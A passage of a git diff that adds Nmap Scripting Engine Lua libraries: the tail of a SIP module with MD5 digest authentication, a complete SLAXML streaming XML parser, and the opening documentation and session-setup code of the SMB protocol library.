+ return table.concat(data, "\r\n")
+ end,
+
+}
+
+-- The SIP authentication class, supporting MD5 digest authentication
+SipAuth = {
+
+ --- Creates a new SipAuth instance
+ -- @name SipAuth.new
+ -- @param auth string containing the auth data as received from the server
+ -- @return a SipAuth instance
+ new = function(self, auth)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.auth = auth
+ return o
+ end,
+
+ --- Sets the username used for authentication
+ -- @name SipAuth.setUsername
+ -- @param username string containing the name of the user
+ setUsername = function(self, username) self.username = username end,
+
+ --- Sets the password used for authentication
+ -- @name SipAuth.setPassword
+ -- @param password string containing the password of the user
+ setPassword = function(self, password) self.password = password end,
+
+ --- Sets the method used for authentication
+ -- @name SipAuth.setMethod
+ -- @param method string containing the method (Usually REGISTER)
+ setMethod = function(self, method) self.method = method end,
+
+ --- Sets the uri used for authentication
+ -- @name SipAuth.setUri
+ -- @param uri string containing the uri (Usually sip:<ip>)
+ setUri = function(self, uri) self.uri = uri end,
+
+ --- Processes and parses a challenge as received from the server
+ -- @name SipAuth.parseChallenge
+ parseChallenge = function(self)
+ if ( not(self.auth) ) then return end
+ self.nonce = self.auth:match("nonce=[\"]([^,]-)[\"]")
+ self.algorithm = self.auth:match("algorithm=[\"]*(.-)[\"]*,")
+ self.realm = self.auth:match("realm=[\"]([^,]-)[\"]")
+ assert(self.algorithm:upper() == "MD5",
+ ("Unsupported algorithm detected in authentication challenge (%s)"):format(self.algorithm:upper()))
+ end,
+
+ --- Calculates the authentication response
+ -- @name SipAuth.calculateResponse
+ -- @return response string containing the authentication response
+ calculateResponse = function(self)
+
+ if ( not(self.nonce) or not(self.algorithm) or not(self.realm) ) then
+ self:parseChallenge()
+ end
+
+ assert(self.username, "SipAuth: No username specified")
+ assert(self.password, "SipAuth: No password specified")
+ assert(self.method, "SipAuth: No method specified")
+ assert(self.uri, "SipAuth: No uri specified")
+
+ local result
+ if ( self.algorithm:upper() == "MD5" ) then
+ local HA1 = stdnse.tohex(openssl.md5(self.username .. ":" .. self.realm .. ":" .. self.password))
+ local HA2 = stdnse.tohex(openssl.md5(self.method .. ":" .. self.uri))
+ result = openssl.md5(HA1:lower() .. ":" .. self.nonce ..":" .. HA2:lower())
+ end
+ return stdnse.tohex(result):lower()
+ end,
+
+ --- Creates the complete authentication response
+ -- @name SipAuth.createResponse
+ -- @return auth string containing the complete authentication digest
+ createResponse = function(self)
+ local response = self:calculateResponse()
+ return ("Digest username=\"%s\", realm=\"%s\", nonce=\"%s\"," ..
+ " uri=\"%s\", response=\"%s\", algorithm=%s"):format(self.username, self.realm,
+ self.nonce, self.uri, response, self.algorithm)
+ end,
+
+}
+
+-- The Helper class used as main script interface
+Helper = {
+
+ --- Creates a new instance of the Helper class
+ -- @name Helper.new
+ -- @param host table containing the remote host
+ -- @param port table containing the remote port
+ -- @param options table containing any options to pass along to the session
+ -- @see Session.new
+ -- @return a new instance of the Helper class
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ local timeout = stdnse.get_script_args("sip.timeout")
+ if ( timeout ) then options.timeout = timeout end
+ o.sessdata = SessionData:new()
+ o.session = Session:new(host, port, o.sessdata, options)
+ return o
+ end,
+
+ --- Connects the helper instance
+ -- @name Helper.connect
+ -- @return true on success, false on failure
+ -- @return err string containing error message
+ connect = function(self) return self.session:connect() end,
+
+ --- Disconnects and closes the helper instance
+ -- @name Helper.close
+ -- @return true on success, false on failure
+ -- @return err string containing error message
+ close = function(self) return self.session:close() end,
+
+ --- Sets the credentials used when performing authentication
+ -- @name Helper.setCredentials
+ -- @param username string containing the username to use for authentication
+ -- @param password string containing the password to use for authentication
+ setCredentials = function(self, username, password)
+ self.sessdata:setUsername(username)
+ self.sessdata:setPassword(password)
+ end,
+
+ --- Sets the SIP domain
+ -- @name Helper.setDomain
+ -- @param domain string containing the domain name
+ setDomain = function(self, domain) self.sessdata:setDomain(domain) end,
+
+ --- Register the UAC with the server
+ -- @name Helper.register
+ -- @param options table containing zero or more options
+ -- (@see Session:register for more details)
+ -- @return status true on success, false on failure
+ -- @return msg containing the error message if status is false
+ register = function(self, options)
+ local status, response = self.session:register(options)
+ if ( not(status) ) then return false, response end
+ return true
+ end,
+
+ --- Sends an option request to the server and handles the response
+ -- @name Helper.register
+ -- @return status true on success, false on failure
+ -- @return Response if status is true, nil else.
+ -- @see Response
+ options = function(self) return self.session:options() end,
+
+ --- Attempts to INVITE the user at uri to a call
+ -- @name Helper.invite
+ -- @param uri string containing the sip uri
+ -- @return status true on success, false on failure
+ invite = function(self, uri)
+ return self.session:invite(uri)
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/slaxml.lua b/nselib/slaxml.lua
new file mode 100644
index 0000000..f4ea7f3
--- /dev/null
+++ b/nselib/slaxml.lua
@@ -0,0 +1,449 @@
+---
+-- This is the NSE implementation of SLAXML.
+-- SLAXML is a pure-Lua SAX-like streaming XML parser. It is more robust
+-- than many (simpler) pattern-based parsers that exist, properly supporting
+-- code like <code><expr test="5 > 7" /></code>, CDATA nodes, comments,
+-- namespaces, and processing instructions.
+-- It is currently not a truly valid XML parser, however, as it allows certain XML that is
+-- syntactically-invalid (not well-formed) to be parsed without reporting an error.
+-- The streaming parser does a simple pass through the input and reports what it sees along the way.
+-- You can optionally ignore white-space only text nodes using the <code>stripWhitespace</code> option.
+-- The library contains the parser class and the parseDOM function.
+--
+-- Basic Usage of the library:
+-- <code>
+-- local parser = parser:new()
+-- parser:parseSAX(xmlbody, {stripWhitespace=true})
+-- </code>
+-- To specify custom call backs use :
+-- <code>
+-- local call_backs = {
+-- startElement = function(name,nsURI,nsPrefix) end, -- When "<foo" or <x:foo is seen
+-- attribute = function(name,value,nsURI,nsPrefix) end, -- attribute found on current element
+-- closeElement = function(name,nsURI) end, -- When "</foo>" or </x:foo> or "/>" is seen
+-- text = function(text) end, -- text and CDATA nodes
+-- comment = function(content) end, -- comments
+-- pi = function(target,content) end, -- processing instructions e.g. "<?yes mon?>"
+-- }
+-- local parser = parser:new(call_backs)
+-- parser:parseSAX(xmlbody)
+-- </code>
+-- The code also contains the <code>parseDOM</code> function.
+-- To get the dom table use the <code>parseDOM</code> method as follows.
+-- <code>
+-- parseDOM(xmlbody, options)
+-- </code>
+--
+-- DOM Table Features
+--
+-- Document - the root table returned from the parseDOM() method.
+--
+-- * <code>doc.type</code> : the string "document"
+-- * <code>doc.name</code> : the string "#doc"
+-- * <code>doc.kids</code> : an array table of child processing instructions, the root element, and comment nodes.
+-- * <code>doc.root</code> : the root element for the document
+--
+-- Element
+--
+-- * <code>someEl.type</code> : the string "element"
+-- * <code>someEl.name</code> : the string name of the element (without any namespace prefix)
+-- * <code>someEl.nsURI</code> : the namespace URI for this element; nil if no namespace is applied
+-- * <code>someEl.attr</code> : a table of attributes, indexed by name and index
+--
+-- <code>local value = someEl.attr['attribute-name']</code> : any namespace prefix of the attribute is not part of the name
+--
+-- <code>local someAttr = someEl.attr[1]</code> : an single attribute table (see below); useful for iterating all
+-- attributes of an element, or for disambiguating attributes with the same name in different namespaces
+--
+-- * <code>someEl.kids</code> : an array table of child elements, text nodes, comment nodes, and processing instructions
+-- * <code>someEl.el</code> : an array table of child elements only
+-- * <code>someEl.parent</code> : reference to the parent element or document table
+--
+-- Attribute
+--
+-- * <code>someAttr.type</code> : the string "attribute"
+-- * <code>someAttr.name</code> : the name of the attribute (without any namespace prefix)
+-- * <code>someAttr.value</code> : the string value of the attribute (with XML and numeric entities unescaped)
+-- * <code>someAttr.nsURI</code> : the namespace URI for the attribute; nil if no namespace is applied
+-- * <code>someAttr.parent</code> : reference to the owning element table
+--
+-- Text - for both CDATA and normal text nodes
+--
+-- * <code>someText.type</code> : the string "text"
+-- * <code>someText.name</code> : the string "#text"
+-- * <code>someText.value</code> : the string content of the text node (with XML and numeric entities unescaped for non-CDATA elements)
+-- * <code>someText.parent</code> : reference to the parent element table
+--
+-- Comment
+--
+-- * <code>someComment.type</code> : the string "comment"
+-- * <code>someComment.name</code> : the string "#comment"
+-- * <code>someComment.value</code> : the string content of the attribute
+-- * <code>someComment.parent</code> : reference to the parent element or document table
+--
+-- Processing Instruction
+--
+-- * <code>someComment.type</code> : the string "pi"
+-- * <code>someComment.name</code> : the string name of the PI, e.g. <?foo …?> has a name of "foo"
+-- * <code>someComment.value</code> : the string content of the PI, i.e. everything but the name
+-- * <code>someComment.parent</code> : reference to the parent element or document table
+--
+-- @args slaxml.debug Debug level at which default callbacks will print detailed
+-- parsing info. Default: 3
+--
+-- @author Gavin Kistner <original pure lua implemetation>
+-- @author Gyanendra Mishra <NSE specific implementation>
+
+--[=====================================================================[
+v0.7 Copyright © 2013-2014 Gavin Kistner <!@phrogz.net>; MIT Licensed
+See http://github.com/Phrogz/SLAXML for details.
+--]=====================================================================]
+
+local string = require "string"
+local stdnse = require "stdnse"
+local table = require "table"
+local unicode = require "unicode"
+_ENV = stdnse.module("slaxml", stdnse.seeall)
+
+
+
+
+-- A table containing the default call backs to be used
+-- This really floods the script output, you will mostly be
+-- using custom call backs.
+-- Set the debugging level required for the default call backs. Defaults to 3.
+local debugging_level = tonumber(stdnse.get_script_args('slaxml.debug')) or 3
+local DEFAULT_CALLBACKS = {
+ --- A call back for processing instructions.
+ -- To use define pi = function(<target>, <content>) <function body> end in parser._call table.
+ -- Executes whenever a processing instruction is found.
+ -- @param target the PI target
+ -- @param content any value not containing the sequence '?>'
+ pi = function(target,content)
+ stdnse.debug(debugging_level, string.format("<?%s %s?>",target,content))
+ end,
+ --- A call back for comments.
+ -- To use define comment = function(<content>) <function body> end in parser._call table.
+ -- Executes whenever a comment is encountered.
+ -- @param content The comment body itself.
+ comment = function(content)
+ stdnse.debug(debugging_level, debugging_level, string.format("<!-- %s -->",content))
+ end,
+ --- A call back for the start of elements.
+ -- To use define startElement = function(<name>, <nsURI>, <nsPrefix>) <function body> end in parser._call table.
+ -- Executes whenever an element starts.
+ -- @param name The name of the element.
+ -- @param nsURI The name space URI.
+ -- @param nsPrefix The name space prefix.
+ startElement = function(name,nsURI,nsPrefix)
+ local output = "<"
+ if nsPrefix then output = output .. nsPrefix .. ":" end
+ output = output .. name
+ if nsURI then output = output .. " (ns='" .. nsURI .. "')" end
+ output = output .. ">"
+ stdnse.debug(debugging_level, output)
+ end,
+ --- A call back for attributes.
+ -- To use define attribute = function(<name>, <attribtute>, <nsURI>, <nsPrefix>) <function body> end in parser._call table.
+ -- Executes whenever an attribute is found.
+ -- @param name The name of the attribute.
+ -- @param value The value of the attribute.
+ -- @param nsURI The name space URI.
+ -- @param nsPrefix The name space prefix.
+ attribute = function(name,value,nsURI,nsPrefix)
+ local output = ' '
+ if nsPrefix then output = output .. nsPrefix .. ":" end
+ output = output .. name .. '=' .. string.format('%q',value)
+ if nsURI then output = output .. (" (ns='" .. nsURI .. "')") end
+ stdnse.debug(debugging_level, output)
+ end,
+ --- A call back for text content.
+ -- To use define text = function(<text>) <function body> end in parser._call table.
+ -- Executes whenever pure text is found.
+ -- @param text The actual text.
+ text = function(text)
+ stdnse.debug(debugging_level, string.format(" text: %q",text))
+ end,
+ --- A call back for the end of elements.
+ -- To use define closeElement = function(<name>, <nsURI>, <nsPrefix>) <function body> end in parser._call table.
+ -- Executes whenever an element closes.
+ -- @param name The name of the element.
+ -- @param nsURI The name space URI.
+ -- @param nsPrefix The name space prefix.
+ closeElement = function(name,nsURI,nsPrefix)
+ stdnse.debug(debugging_level, string.format("</%s>",name))
+ end,
+ }
+
+local entityMap = { ["lt"]="<", ["gt"]=">", ["amp"]="&", ["quot"]='"', ["apos"]="'" }
+local entitySwap = function(orig,n,s) return entityMap[s] or n=="#" and unicode.utf8_enc(tonumber('0'..s)) or orig end
+
+parser = {
+
+ new = function(self, callbacks)
+ local o = {
+ _call = callbacks or DEFAULT_CALLBACKS
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ unescape = function(str) return string.gsub( str, '(&(#?)([%d%a]+);)', entitySwap ) end,
+
+ --- Parses the xml in sax like manner.
+ -- @self The parser object.
+ -- @param xml The xml body to be parsed.
+ -- @param options Options if any specified.
+ parseSAX = function(self, xml, options)
+ if not options then options = { stripWhitespace=false } end
+
+ -- Cache references for maximum speed
+ local find, sub, gsub, char, push, pop, concat = string.find, string.sub, string.gsub, string.char, table.insert, table.remove, table.concat
+ local first, last, match1, match2, match3, pos2, nsURI
+ local unpack = table.unpack
+ local pos = 1
+ local state = "text"
+ local textStart = 1
+ local currentElement={}
+ local currentAttributes={}
+ local currentAttributeCt -- manually track length since the table is re-used
+ local nsStack = {}
+ local anyElement = false
+
+ local function finishText()
+ if first>textStart and self._call.text then
+ local text = sub(xml,textStart,first-1)
+ if options.stripWhitespace then
+ text = gsub(text,'^%s+','')
+ text = gsub(text,'%s+$','')
+ if #text==0 then text=nil end
+ end
+ if text then self._call.text(parser.unescape(text)) end
+ end
+ end
+
+ local function findPI()
+ first, last, match1, match2 = find( xml, '^<%?([:%a_][:%w_.-]*) ?(.-)%?>', pos )
+ if first then
+ finishText()
+ if self._call.pi then self._call.pi(match1,match2) end
+ pos = last+1
+ textStart = pos
+ return true
+ end
+ end
+
+ local function findComment()
+ first, last, match1 = find( xml, '^<!%-%-(.-)%-%->', pos )
+ if first then
+ finishText()
+ if self._call.comment then self._call.comment(match1) end
+ pos = last+1
+ textStart = pos
+ return true
+ end
+ end
+
+ local function nsForPrefix(prefix)
+ if prefix=='xml' then return 'http://www.w3.org/XML/1998/namespace' end -- http://www.w3.org/TR/xml-names/#ns-decl
+ for i=#nsStack,1,-1 do if nsStack[i][prefix] then return nsStack[i][prefix] end end
+ stdnse.debug1(("Cannot find namespace for prefix %s"):format(prefix))
+ return
+ end
+
+ local function startElement()
+ anyElement = true
+ first, last, match1 = find( xml, '^<([%a_][%w_.-]*)', pos )
+ if first then
+ currentElement[2] = nil -- reset the nsURI, since this table is re-used
+ currentElement[3] = nil -- reset the nsPrefix, since this table is re-used
+ finishText()
+ pos = last+1
+ first,last,match2 = find(xml, '^:([%a_][%w_.-]*)', pos )
+ if first then
+ currentElement[1] = match2
+ currentElement[3] = match1 -- Save the prefix for later resolution
+ match1 = match2
+ pos = last+1
+ else
+ currentElement[1] = match1
+ for i=#nsStack,1,-1 do if nsStack[i]['!'] then currentElement[2] = nsStack[i]['!']; break end end
+ end
+ currentAttributeCt = 0
+ push(nsStack,{})
+ return true
+ end
+ end
+
+ local function findAttribute()
+ first, last, match1 = find( xml, '^%s+([:%a_][:%w_.-]*)%s*=%s*', pos )
+ if first then
+ pos2 = last+1
+ first, last, match2 = find( xml, '^"([^<"]*)"', pos2 ) -- FIXME: disallow non-entity ampersands
+ if first then
+ pos = last+1
+ match2 = parser.unescape(match2)
+ else
+ first, last, match2 = find( xml, "^'([^<']*)'", pos2 ) -- FIXME: disallow non-entity ampersands
+ if first then
+ pos = last+1
+ match2 = parser.unescape(match2)
+ end
+ end
+ end
+ if match1 and match2 then
+ local currentAttribute = {match1,match2}
+ local prefix,name = string.match(match1,'^([^:]+):([^:]+)$')
+ if prefix then
+ if prefix=='xmlns' then
+ nsStack[#nsStack][name] = match2
+ else
+ currentAttribute[1] = name
+ currentAttribute[4] = prefix
+ end
+ else
+ if match1=='xmlns' then
+ nsStack[#nsStack]['!'] = match2
+ currentElement[2] = match2
+ end
+ end
+ currentAttributeCt = currentAttributeCt + 1
+ currentAttributes[currentAttributeCt] = currentAttribute
+ return true
+ end
+ end
+
+ local function findCDATA()
+ first, last, match1 = find( xml, '^<!%[CDATA%[(.-)%]%]>', pos )
+ if first then
+ finishText()
+ if self._call.text then self._call.text(match1) end
+ pos = last+1
+ textStart = pos
+ return true
+ end
+ end
+
+ local function closeElement()
+ first, last, match1 = find( xml, '^%s*(/?)>', pos )
+ if first then
+ state = "text"
+ pos = last+1
+ textStart = pos
+
+ -- Resolve namespace prefixes AFTER all new/redefined prefixes have been parsed
+ if currentElement[3] then currentElement[2] = nsForPrefix(currentElement[3]) end
+ if self._call.startElement then self._call.startElement(unpack(currentElement)) end
+ if self._call.attribute then
+ for i=1,currentAttributeCt do
+ if currentAttributes[i][4] then currentAttributes[i][3] = nsForPrefix(currentAttributes[i][4]) end
+ self._call.attribute(unpack(currentAttributes[i]))
+ end
+ end
+
+ if match1=="/" then
+ pop(nsStack)
+ if self._call.closeElement then self._call.closeElement(unpack(currentElement)) end
+ end
+ return true
+ end
+ end
+
+ local function findElementClose()
+ first, last, match1, match2 = find( xml, '^</([%a_][%w_.-]*)%s*>', pos )
+ if first then
+ nsURI = nil
+ for i=#nsStack,1,-1 do if nsStack[i]['!'] then nsURI = nsStack[i]['!']; break end end
+ else
+ first, last, match2, match1 = find( xml, '^</([%a_][%w_.-]*):([%a_][%w_.-]*)%s*>', pos )
+ if first then nsURI = nsForPrefix(match2) end
+ end
+ if first then
+ finishText()
+ if self._call.closeElement then self._call.closeElement(match1,nsURI) end
+ pos = last+1
+ textStart = pos
+ pop(nsStack)
+ return true
+ end
+ end
+
+ while pos<#xml do
+ if state=="text" then
+ if not (findPI() or findComment() or findCDATA() or findElementClose()) then
+ if startElement() then
+ state = "attributes"
+ else
+ first, last = find( xml, '^[^<]+', pos )
+ pos = (first and last or pos) + 1
+ end
+ end
+ elseif state=="attributes" then
+ if not findAttribute() then
+ if not closeElement() then
+ stdnse.debug1("Was in an element and couldn't find attributes or the close.")
+ return
+ end
+ end
+ end
+ end
+
+ if not anyElement then stdnse.debug1("Parsing did not discover any elements") end
+ if #nsStack > 0 then stdnse.debug1("Parsing ended with unclosed elements") end
+ end,
+
+}
+
+--- Parses xml and outputs a dom table.
+-- @param xml the xml body to be parsed.
+-- @param options if any to use. Supports <code>stripWhitespaces</code> currently.
+function parseDOM (xml, options)
+ if not options then options={} end
+ local rich = not options.simple
+ local push, pop = table.insert, table.remove
+ local stack = {}
+ local doc = { type="document", name="#doc", kids={} }
+ local current = doc
+ local builder = parser:new{
+ startElement = function(name,nsURI)
+ local el = { type="element", name=name, kids={}, el=rich and {} or nil, attr={}, nsURI=nsURI, parent=rich and current or nil }
+ if current==doc then
+ if doc.root then stdnse.debug2(("Encountered element '%s' when the document already has a root '%s' element"):format(name,doc.root.name)) return end
+ doc.root = el
+ end
+ push(current.kids,el)
+ if current.el then push(current.el,el) end
+ current = el
+ push(stack,el)
+ end,
+ attribute = function(name,value,nsURI)
+ if not current or current.type~="element" then stdnse.debug2(("Encountered an attribute %s=%s but I wasn't inside an element"):format(name,value)) return end
+ local attr = {type='attribute',name=name,nsURI=nsURI,value=value,parent=rich and current or nil}
+ if rich then current.attr[name] = value end
+ push(current.attr,attr)
+ end,
+ closeElement = function(name)
+ if current.name~=name or current.type~="element" then stdnse.debug2(("Received a close element notification for '%s' but was inside a '%s' %s"):format(name,current.name,current.type)) return end
+ pop(stack)
+ current = stack[#stack]
+ end,
+ text = function(value)
+ if current.type~='document' then
+ if current.type~="element" then stdnse.debug2(("Received a text notification '%s' but was inside a %s"):format(value,current.type)) return end
+ push(current.kids,{type='text',name='#text',value=value,parent=rich and current or nil})
+ end
+ end,
+ comment = function(value)
+ push(current.kids,{type='comment',name='#comment',value=value,parent=rich and current or nil})
+ end,
+ pi = function(name,value)
+ push(current.kids,{type='pi',name=name,value=value,parent=rich and current or nil})
+ end
+ }
+ builder:parseSAX (xml,options)
+ return doc
+end
+
+return _ENV;
+
diff --git a/nselib/smb.lua b/nselib/smb.lua
new file mode 100644
index 0000000..9657767
--- /dev/null
+++ b/nselib/smb.lua
@@ -0,0 +1,4456 @@
+---
+-- Implements functionality related to Server Message Block (SMB, an extension
+-- of CIFS) traffic, which is a Windows protocol.
+--
+-- SMB traffic is normally sent to/from ports 139 or 445 of Windows systems. Other systems
+-- implement SMB as well, including Samba and a lot of embedded devices. Some of them implement
+-- it properly and many of them not. Although the protocol has been documented decently
+-- well by Samba and others, many 3rd party implementations are broken or make assumptions.
+-- Even Samba's and Windows' implementations aren't completely compatible. As a result,
+-- creating an implementation that accepts everything is a bit of a minefield. Microsoft's
+-- extensive documentation is available at the following URLs:
+-- * SMB: http://msdn.microsoft.com/en-us/library/cc246231(v=prot.13).aspx
+-- * CIFS: http://msdn.microsoft.com/en-us/library/ee442092(v=prot.13).aspx
+--
+-- Where possible, this implementation, since it's intended for scanning, will attempt to
+-- accept any invalid implementations it can, and fail gracefully if it can't. This has
+-- been tested against a great number of weird implementations, and it now works against
+-- all of them.
+--
+-- The intention of this library is to eventually handle all aspects of the SMB protocol.
+-- That being said, I'm only implementing the pieces that I (Ron Bowes) need. If you
+-- require something more, let me know and I'll put it on my todo list.
+--
+-- A programmer using this library should already have some knowledge of the SMB protocol,
+-- although a lot isn't necessary. You can pick up a lot by looking at the code. The basic
+-- login/logoff is this:
+--
+-- <code>
+-- [connect]
+-- C->S SMB_COM_NEGOTIATE
+-- S->C SMB_COM_NEGOTIATE
+-- C->S SMB_COM_SESSION_SETUP_ANDX
+-- S->C SMB_COM_SESSION_SETUP_ANDX
+-- C->S SMB_COM_TREE_CONNECT_ANDX
+-- S->C SMB_COM_TREE_CONNECT_ANDX
+-- ...
+-- C->S SMB_COM_TREE_DISCONNECT
+-- S->C SMB_COM_TREE_DISCONNECT
+-- C->S SMB_COM_LOGOFF_ANDX
+-- S->C SMB_COM_LOGOFF_ANDX
+-- [disconnect]
+-- </code>
+--
+-- In terms of functions here, the protocol is:
+--
+-- <code>
+-- status, smbstate = smb.start(host)
+-- status, err = smb.negotiate_protocol(smbstate, {})
+-- status, err = smb.start_session(smbstate, {})
+-- status, err = smb.tree_connect(smbstate, path, {})
+-- ...
+-- status, err = smb.tree_disconnect(smbstate)
+-- status, err = smb.logoff(smbstate)
+-- status, err = smb.stop(smbstate)
+-- </code>
+--
+-- The <code>stop</code> function will automatically call tree_disconnect and logoff,
+-- cleaning up the session, if it hasn't been done already.
+--
+-- To initially begin the connection, there are two options:
+--
+-- 1) Attempt to start a raw session over 445, if it's open.
+--
+-- 2) Attempt to start a NetBIOS session over 139. Although the
+-- protocol's the same, it requires a <code>session request</code> packet.
+-- That packet requires the computer's name, which is requested
+-- using a NBSTAT probe over UDP port 137.
+--
+-- Once it's connected, a <code>SMB_COM_NEGOTIATE</code> packet is sent, requesting the protocol
+-- "NT LM 0.12", which is the most commonly supported one. Among other things, the server's
+-- response contains the host's security level, the system time, and the computer/domain name.
+-- Some systems will refuse to use that protocol and return "-1" or "1" instead of 0. If that's
+-- detected, we kill the connection (because the protocol following won't work).
+--
+-- If that's successful, <code>SMB_COM_SESSION_SETUP_ANDX</code> is sent. It is essentially the logon
+-- packet, where the username, domain, and password are sent to the server for verification.
+-- The username and password are generally picked up from the program parameters, which are
+-- set when running a script, or from the registry where it can be set by other scripts (for
+-- example, <code>smb-brute.nse</code>). However, they can also be passed as parameters to the
+-- function, which will override any other username/password set.
+--
+-- If a username and password are set, they are used for the first login attempt. If a login fails,
+-- or they weren't set, a connection as the 'GUEST' account with a blank password is attempted. If
+-- that fails, then a NULL session is established, which should always work. The username/password
+-- will give the highest access level, GUEST will give lower access, and NULL will give the lowest
+-- (often, NULL will give no access).
+--
+-- The actual login protocol used by <code>SMB_COM_SESSION_SETUP_ANDX</code> is explained in detail
+-- in <code>smbauth.lua</code>.
+--
+-- Thanks go to Christopher R. Hertel and his book Implementing CIFS, which
+-- taught me everything I know about Microsoft's protocols. Additionally, I used Samba's
+-- list of error codes for my constants. Although I don't believe they would be covered
+-- by GPL, since they're public now anyways, but I'm not a lawyer and, if somebody feels
+-- differently, let me know and we can sort this out.
+--
+-- Scripts that use this module can use the script arguments listed below
+-- example of using these script arguments:
+-- <code>
+-- nmap --script=smb-<script>.nse --script-args=smbuser=ron,smbpass=iagotest2k3,smbbasic=1,smbsign=force <host>
+-- </code>
+--
+-- @args smbbasic Forces the authentication to use basic security, as opposed to "extended security".
+-- Against most modern systems, extended security should work, but there may be cases
+-- where you want to force basic. There's a chance that you'll get better results for
+-- enumerating users if you turn on basic authentication.
+-- @args smbsign Controls whether or not server signatures are checked in SMB packets. By default, on Windows,
+-- server signatures aren't enabled or required. By default, this library will always sign
+-- packets if it knows how, and will check signatures if the server says to. Possible values are:
+-- * <code>force</code>: Always check server signatures, even if server says it doesn't support them (will
+-- probably fail, but is technically more secure).
+-- * <code>negotiate</code>: [default] Use signatures if server supports them.
+-- * <code>ignore</code>: Never check server signatures. Not recommended.
+-- * <code>disable</code>: Don't send signatures, at all, and don't check the server's. not recommended.
+-- More information on signatures can be found in <code>smbauth.lua</code>.
+-- @args smbport Override the default port choice. If <code>smbport</code> is open, it's used. It's assumed
+-- to be the same protocol as port 445, not port 139. Since it probably isn't possible to change
+-- Windows' ports normally, this is mostly useful if you're bouncing through a relay or something.
+-- @args randomseed Set to a value to change the filenames/service names that are randomly generated.
+--
+-- @author Ron Bowes <ron@skullsecurity.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-----------------------------------------------------------------------
+local asn1 = require "asn1"
+local datetime = require "datetime"
+local io = require "io"
+local math = require "math"
+local match = require "match"
+local netbios = require "netbios"
+local nmap = require "nmap"
+local smbauth = require "smbauth"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+local unicode = require "unicode"
+local smb2 = require "smb2"
+_ENV = stdnse.module("smb", stdnse.seeall)
+
+-- These arrays are filled in with constants at the bottom of this file
+command_codes = {}
+command_names = {}
+status_codes = {}
+status_names = {}
+filetype_codes = {}
+filetype_names = {}
+
+local TIMEOUT = 10000
+
+---Wrapper around <code>smbauth.add_account</code>.
+function add_account(host, username, domain, password, password_hash, hash_type, is_admin)
+ smbauth.add_account(host, username, domain, password, password_hash, hash_type, is_admin)
+end
+
+---Wrapper around <code>smbauth.get_account</code>.
+function get_account(host)
+ return smbauth.get_account(host)
+end
+---Create an 'overrides' table
+function get_overrides(username, domain, password, password_hash, hash_type, overrides)
+ if(not(overrides)) then
+ return {username=username, domain=domain, password=password, password_hash=password_hash, hash_type=hash_type}
+ else
+ overrides['username'] = username
+ overrides['domain'] = domain
+ overrides['password'] = password
+ overrides['password_hash'] = password_hash
+ overrides['hash_type'] = hash_type
+ end
+end
+
+---Get an 'overrides' table for the anonymous user
+--
+--@param overrides [optional] A base table of overrides. The appropriate fields will be added.
+function get_overrides_anonymous(overrides)
+ if(not(overrides)) then
+ return {username='', domain='', password='', password_hash=nil, hash_type='none'}
+ else
+ overrides['username'] = ''
+ overrides['domain'] = ''
+ overrides['password'] = ''
+ overrides['password_hash'] = ''
+ overrides['hash_type'] = 'none'
+ end
+end
+
+---Convert a status number from the SMB header into a status name, returning an error message (not nil) if
+-- it wasn't found.
+--
+--@param status The numerical status.
+--@return A string representing the error. Never nil.
+function get_status_name(status)
+
+ if(status_names[status] == nil) then
+ -- If the name wasn't found in the array, do a linear search on it
+ for i, v in pairs(status_names) do
+ if(v == status) then
+ return i
+ end
+ end
+
+ return string.format("NT_STATUS_UNKNOWN (0x%08x)", status)
+ else
+ return status_names[status]
+ end
+end
+
+
+--- Determines whether or not SMB checks are possible on this host, and, if they are,
+-- which port is best to use. This is how it decides:
+--
+-- * If port tcp/445 is open, use it for a raw connection
+-- * Otherwise, if ports tcp/139 and udp/137 are open, do a NetBIOS connection. Since UDP scanning isn't default, we're also ok with udp/137 in an unknown state.
+--
+--@param host The host object.
+--@return The port number to use, or nil if we don't have an SMB port
+function get_port(host)
+ local port_u137 = nmap.get_port_state(host, {number=137, protocol="udp"})
+ local port_t139 = nmap.get_port_state(host, {number=139, protocol="tcp"})
+ local port_t445 = nmap.get_port_state(host, {number=445, protocol="tcp"})
+ local custom_port = nil
+
+ if(nmap.registry.args.smbport ~= nil) then
+ custom_port = nmap.get_port_state(host, {number=tonumber(nmap.registry.args.smbport), protocol="tcp"})
+ end
+
+ -- Try a user-defined port first
+ if(custom_port ~= nil and custom_port.state == "open") then
+ return custom_port.number
+ end
+
+ if(port_t445 ~= nil and port_t445.state == "open") then
+ -- tcp/445 is open, we're good
+ return 445
+ end
+
+ if(port_t139 ~= nil and port_t139.state == "open") then
+ -- tcp/139 is open, check uf udp/137 is open or unknown
+ if(port_u137 == nil or port_u137.state == "open" or port_u137.state == "open|filtered") then
+ return 139
+ end
+ end
+
+ return nil
+end
+
+---Turn off extended security negotiations for this connection.
+--
+-- There are a few reasons you might want to do that, the main ones being that
+-- extended security is going to be marginally slower and it's not going to
+-- give the same level of information in some cases (namely, it doesn't present
+-- the server's name).
+--@param smb The SMB state table.
+function disable_extended(smb)
+ smb['extended_security'] = false
+end
+
+--- Begins a SMB session, automatically determining the best way to connect.
+--
+-- @param host The host object
+-- @return (status, smb) if the status is true, result is the newly crated smb object;
+-- otherwise, socket is the error message.
+function start(host)
+ local port = get_port(host)
+ local status, result
+ local state = {}
+
+ state['uid'] = 0
+ state['tid'] = 0
+ state['mid'] = 1
+ state['pid'] = math.random(32766) + 1
+ state['host'] = host
+ state['ip'] = host.ip
+ state['sequence'] = -1
+
+ -- Check whether or not the user requested basic authentication
+ if(stdnse.get_script_args( "smbbasic" )) then
+ state['extended_security'] = false
+ else
+ state['extended_security'] = true
+ end
+
+ -- Store the name of the server
+ local nbcache_mutex = nmap.mutex("Netbios lookup mutex")
+ nbcache_mutex "lock"
+ if ( not(host.registry['netbios_name']) ) then
+ status, result = netbios.get_server_name(host.ip)
+ if(status == true) then
+ host.registry['netbios_name'] = result
+ state['name'] = result
+ end
+ else
+ stdnse.debug2("SMB: Resolved netbios name from cache")
+ state['name'] = host.registry['netbios_name']
+ end
+ nbcache_mutex "done"
+
+ stdnse.debug2("SMB: Starting SMB session for %s (%s)", host.name, host.ip)
+
+ if(port == nil) then
